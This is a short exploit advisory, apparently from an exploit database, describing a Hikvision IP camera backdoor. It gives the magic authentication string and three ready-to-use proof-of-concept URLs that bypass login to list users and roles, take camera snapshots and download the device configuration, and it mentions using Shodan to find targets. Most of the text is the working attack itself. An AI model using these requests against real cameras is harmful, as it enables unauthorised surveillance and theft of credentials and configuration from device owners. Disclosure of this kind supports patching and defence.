Hikvision IP Camera Backdoor

Hikvision IP Camera has a backdoor where a magic string allows instant access regardless of authentication.

MD5 | 1b391e39817d3f32ace4fa923e5891f0

# Exploit Title: Hikvision IP Camera - Backdoor
# Date: 14/03/2022
# Exploit Author: Sobhan Mahmoodi
# Reference: https://ipvm.com/reports/hik-exploit
# GitHub: https://github.com/bp2008/HikPasswordHelper/

Hikvision included a magic string that allowed instant access to any camera, regardless of what the admin password was. All that needed was appending this string to Hikvision camera commands: (?auth=YWRtaW46MTEK)

# Proof of Concept:

Retrieve a list of all users and their roles:
- http://camera.ip/Security/users?auth=YWRtaW46MTEK

Obtain a camera snapshot without authentication:
- http://camera.ip/onvif-http/snapshot?auth=YWRtaW46MTEK

Download camera configuration:
- http://camera.ip/System/configurationFile?auth=YWRtaW46MTEK

Shodan link to monitor :

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